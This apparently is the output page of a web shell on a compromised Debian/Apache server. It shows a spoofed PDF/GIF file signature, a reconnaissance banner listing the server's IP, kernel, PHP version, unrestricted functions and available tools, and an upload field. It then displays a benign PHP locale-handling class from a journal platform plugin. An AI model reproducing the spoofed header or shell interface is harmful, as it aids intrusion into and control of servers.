%PDF-1.7 GIF89;
| Server IP : 104.20.45.2 / Your IP : 172.16.20.3 Web Server : Apache/2.4.25 (Debian) System : Linux f64a392e70de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64 User : application ( 1000) PHP Version : 5.6.40 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /app/plugins/generic/customLocale/ |
Upload File : |
<?php
/**
* @file plugins/generic/customLocale/CustomLocaleAction.inc.php
*
* Copyright (c) 2013-2019 Simon Fraser University
* Copyright (c) 2003-2019 John Willinsky
* Distributed under the GNU GPL v2. For full terms see the file docs/COPYING.
*
* @class CustomLocaleAction
* @ingroup plugins_generic_customLocale
*
* @brief Perform various tasks related to customization of locale strings.
*/
class CustomLocaleAction {
function getLocaleFiles($locale) {
if (!AppLocale::isLocaleValid($locale)) return null;
$localeFiles =& AppLocale::makeComponentMap($locale);
$plugins =& PluginRegistry::loadAllPlugins();
foreach (array_keys($plugins) as $key) {
$plugin =& $plugins[$key];
$localeFile = $plugin->getLocaleFilename($locale);
if (!empty($localeFile)) {
if (is_scalar($localeFile)) $localeFiles[] = $localeFile;
if (is_array($localeFile)) $localeFiles = array_merge($localeFiles, $localeFile);
}
unset($plugin);
}
return $localeFiles;
}
function isLocaleFile($locale, $filename) {
if (in_array($filename, CustomLocaleAction::getLocaleFiles($locale))) return true;
return false;
}
}
?>